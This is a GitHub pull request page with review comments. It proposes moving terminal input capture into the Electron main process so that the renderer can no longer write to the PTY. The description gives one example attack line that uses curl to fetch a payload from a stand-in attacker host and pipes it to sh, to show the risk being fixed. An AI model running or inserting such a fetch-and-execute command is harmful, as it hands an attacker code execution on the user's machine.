POC: Electron - Unidirectional flow to limit terminal access #3144

priya-patel04 · 2026-01-28T18:01:38Z

Description

Unrestricted Terminal Access - Electron security issue

Current electron architecture has a bidirectional flow :

Renderer to Pty (Write Access): Renderer(UI) -> Preload (contextbridge) -> Main process -> PTY
Pty to Renderer (Read Access) : Pty outputs back to Renderer UI for display.

The main issue is enabling write access to Renderer as it could write ANY data to the PTY and exposing user's full system access.

Exmaple:

window.terminal.create({id: 'malicious', cols: 80, rows: 24})
window.terminal.send('curl attacker.com/payload | sh\n', 'malicious')

This POC is to move towards unidirectional flow where Renderer does not have any write access to PTY and only has read access. We will capture user's input through Electron's before-input-event handler. It intercepts keyboard input at the main process before it reaches the renderer.

Also created a Terminal Manager Service to:

Keep track of active terminal tracking via focus/blur events that will capture user's input
Input validation and sanitization and key mapping - When before-input-event captures keyboard input, it provides raw keyboard event data that doesn't directly match what terminals expect. We need key mapping to translate it to terminal understandable format
PTY process management

Screenshots (if appropriate)

How to Test

Checklist

I have added before and after screenshots for UI changes
I have added JSON response output for API changes
I have added steps to reproduce and test for bug fixes in the description
I have commented on my code, particularly in hard-to-understand areas
My changes generate no new warnings
I have added tests that prove my fix is effective or that my feature works
I have added a11y-tests label to run a11y audit tests if needed

PCI review checklist

I have documented a clear reason for, and description of, the change I am making.
If applicable, I've documented a plan to revert these changes if they require more than reverting the pull request.
If applicable, I've documented the impact of any changes to security controls.
Examples of changes to security controls include using new access control methods, adding or removing logging pipelines, etc.

vercel · 2026-01-28T18:01:45Z

The latest updates on your projects. Learn more about Vercel for GitHub.

Project	Deployment	Review	Updated (UTC)
boundary-ui	Ready	Preview, Comment	Jan 28, 2026 6:03pm
boundary-ui-desktop	Ready	Preview, Comment	Jan 28, 2026 6:03pm

ZedLi

I think this is a great proof of concept and really would help remove another attack vector! Mainly have some relatively minor comments and the main question of how we handle the mapping of events back to certain escape sequences

ZedLi · 2026-02-03T22:15:53Z

ui/desktop/app/components/session/tabs/index.js

-    this.#setupTerminal(fitAddon, xterm, termContainer);
+    this.#setupTerminal(fitAddon, xterm, termContainer, {
+      autoSSH,
+      sessionId: model?.id,


This could've just been destructured from the model earlier

ZedLi · 2026-02-03T22:35:57Z

ui/desktop/electron-app/src/services/terminal-manager.js

+    if (id === null) {
+      this.activeTerminalId = null;
+      return;
+    }


Is there a purpose to this extra if for setting id to null? Seems like we could check to see if there's a non-null terminal id for the set check and then just save regardless of the value.

I added it to avoid the check of validating terminal Id, since the value is null. But yes better would be just do this instead

setActiveTerminalId(id) { if (id !== null && !this.terminals.has(id)) { throw new Error(`No terminal registered with id: ${id}`); } this.activeTerminalId = id; }

ZedLi · 2026-02-03T22:46:23Z

ui/desktop/electron-app/src/services/terminal-manager.js

+    this.activeTerminalId = null;
+  }
+
+  getActiveTerminalId() {


Should these have been actual getters and setters backed by a private field?

ZedLi · 2026-02-03T22:47:13Z

ui/desktop/electron-app/src/services/terminal-manager.js

+    const terminalShell = this.getTerminalShell();
+    const options = this.getTerminalOptions(validatedPayload);


Did these need separate functions? It seems like they're also very short functions that aren't reused and could be inlined

yeah it does not need to be separate functions, we can remove them

ZedLi · 2026-02-03T22:50:16Z

ui/desktop/electron-app/src/services/terminal-manager.js

+    if (!session) {
+      throw new Error(`No session found with id: ${sessionId}`);
+    }


Why are we validating if the session is found by DC? We should still be able to open a terminal even if it wasn't started by our DC, this would completely error out now otherwise if we went to a session opened by CLI for example

ZedLi · 2026-02-03T22:57:58Z

ui/desktop/electron-app/src/services/terminal-manager.js

+
+class TerminalManager {
+  constructor() {
+    this.terminals = new Map();


I think it's fine to have a terminals field for the future but right now we only ever can ever have one terminal ongoing at a time so this should only have 0 or 1 in its map.

If we keep it, we should leave a comment.

ZedLi · 2026-02-03T23:34:57Z

ui/desktop/electron-app/src/services/terminal-manager.js

+
+    ipcMain.once(removeChannel, cleanup);
+
+    ptyProcess.once('exit', cleanup);


What's the purpose of this line, if the process has exited, why do we try to kill it?

Good point, we don't need to kill it once the process has already exited as it is already dead. We can just keep cleanup of terminals and channels on exit.

ZedLi · 2026-02-03T23:40:21Z

ui/desktop/electron-app/src/services/terminal-manager.js

+  /**
+   * Convert keyboard input into sanitized data for PTY write
+   */
+  getSecureDataFromInput(input) {


What's the plan for other controls like alt/opt or cmd? For example it seems I can no longer go back one word at a time in the terminal, will we map all of these? How about escape sequences such as here?

This is an area we likely need to add unit tests if so

This was just to cover base cases, but yeah we would need to cover all key mappings similar to xterm. We may end up extracting logic from xterm's evaluateKeyboardEvent

Looks like we also lost copy/paste functionality but was something handled by xterm, the previous onData:

Adds an event listener for when a data event fires. This happens for example when the user types or pastes into the terminal. The event value is whatever string results, in a typical setup, this should be passed on to the backing pty.

Capturing the clipboard contents can be done with electron's clipboard, although it might need to be tested if the keyboard event could be captured and the clipboard contents replaced? It looks like electron deprecated access from the renderer but I wonder about injection browser APIs

Looks like text selection, and being able to copy that selection, from the terminal itself wouldn't work either which is a pretty big feature of using any terminal

ZedLi · 2026-02-03T23:46:46Z

ui/desktop/electron-app/src/services/terminal-manager.js

+    const id = payload.id;
+    const cols = payload.cols;
+    const rows = payload.rows;
+    const sessionId = payload.sessionId || null;


Why do we default to null? Seems like a strange default when it likely would be undefined otherwise

Ahh there's no particular reason to keep it null. I moved SSH command generation using session to main process much later and didn't do cleanup and missed this. undefined would make sense.

refactor: 💡 unidirectional flow to limit terminal access

e27ba3c

github-actions bot added ui desktop labels Jan 28, 2026

vercel bot deployed to Preview – boundary-ui-desktop January 28, 2026 18:03 View deployment

vercel bot deployed to Preview – boundary-ui January 28, 2026 18:03 View deployment

priya-patel04 force-pushed the electron_unidirectional_flow_poc branch from 3a7ea42 to e27ba3c Compare January 28, 2026 18:05

ZedLi reviewed Feb 3, 2026

View reviewed changes

		const terminalShell = this.getTerminalShell();
		const options = this.getTerminalOptions(validatedPayload);


		ipcMain.once(removeChannel, cleanup);

		ptyProcess.once('exit', cleanup);

POC: Electron - Unidirectional flow to limit terminal access #3144

Are you sure you want to change the base?

POC: Electron - Unidirectional flow to limit terminal access #3144

Conversation

priya-patel04 commented Jan 28, 2026 • edited Loading Uh oh! There was an error while loading. Please reload this page.

Uh oh!

Description

Screenshots (if appropriate)

How to Test

Checklist

PCI review checklist

Uh oh!

vercel bot commented Jan 28, 2026 • edited Loading Uh oh! There was an error while loading. Please reload this page.

Uh oh!

Uh oh!

ZedLi left a comment

Choose a reason for hiding this comment

Uh oh!

Choose a reason for hiding this comment

Uh oh!

Choose a reason for hiding this comment

Uh oh!

Choose a reason for hiding this comment

Uh oh!

Choose a reason for hiding this comment

Uh oh!

Choose a reason for hiding this comment

Uh oh!

Choose a reason for hiding this comment

Uh oh!

Choose a reason for hiding this comment

Uh oh!

Choose a reason for hiding this comment

Uh oh!

Choose a reason for hiding this comment

Uh oh!

Choose a reason for hiding this comment

Uh oh!

Choose a reason for hiding this comment

Uh oh!

Choose a reason for hiding this comment

Uh oh!

Choose a reason for hiding this comment

Uh oh!

Choose a reason for hiding this comment

Uh oh!

Choose a reason for hiding this comment

Uh oh!

Choose a reason for hiding this comment

Uh oh!

Reviewers

Assignees

Labels

Projects

Milestone

Development

Uh oh!

3 participants

priya-patel04 commented Jan 28, 2026 •

edited

Loading

vercel bot commented Jan 28, 2026 •

edited

Loading